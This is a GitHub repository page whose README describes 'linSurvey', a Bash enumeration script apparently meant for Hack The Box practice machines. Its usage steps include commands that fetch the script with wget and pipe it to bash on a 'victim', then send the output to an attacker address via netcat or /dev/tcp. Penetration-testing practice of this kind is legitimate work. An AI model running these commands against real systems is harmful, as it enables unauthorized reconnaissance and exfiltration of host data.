Skip to content

BashSTuff/linSurvey

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 

Repository files navigation

linSurvey

GNU/Linux enumeration script written in BASH.
Created to enumerate GNU/Linux machines on Hack The Box. Can possibly be used against UNIX machines.
Visuals taken from HIGH ON COFFEE'S enumeration script.

HOW TO USE:

  1. Upload script to victim:

    1. bash linSurvey.sh
    2. (as needed) bash linSurvey.sh | tee /tmp/linSurvey.txt (saves a file on victim machine)
  2. Use wget and pipe to bash:

    1. wget YOUR_IP_ADDR/linSurvey.sh -O- | bash
    2. The following transfers the output to your attack machine (no files on victim)
      1. On Attack machine: nc -nvvls YOUR_IP_ADDR -p YOUR_PORT > linSurvey.txt && cat linSurvey.txt
      2. On Attack machine: python3 -m http.server 80
      3. On Victim: wget YOUR_IP_ADDR/linSurvey.sh -O- | bash | nc -nvvq1 YOUR_IP_ADDR YOUR_PORT
      4. On Victim: (IF NO NETCAT) wget YOUR_IP_ADDR/linSurvey.sh -O- | bash > /dev/tcp/YOUR_IP_ADDR/YOUR_PORT (AS NEEDED)

Enjoy

About

GNU/Linux enumeration script written in BASH

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages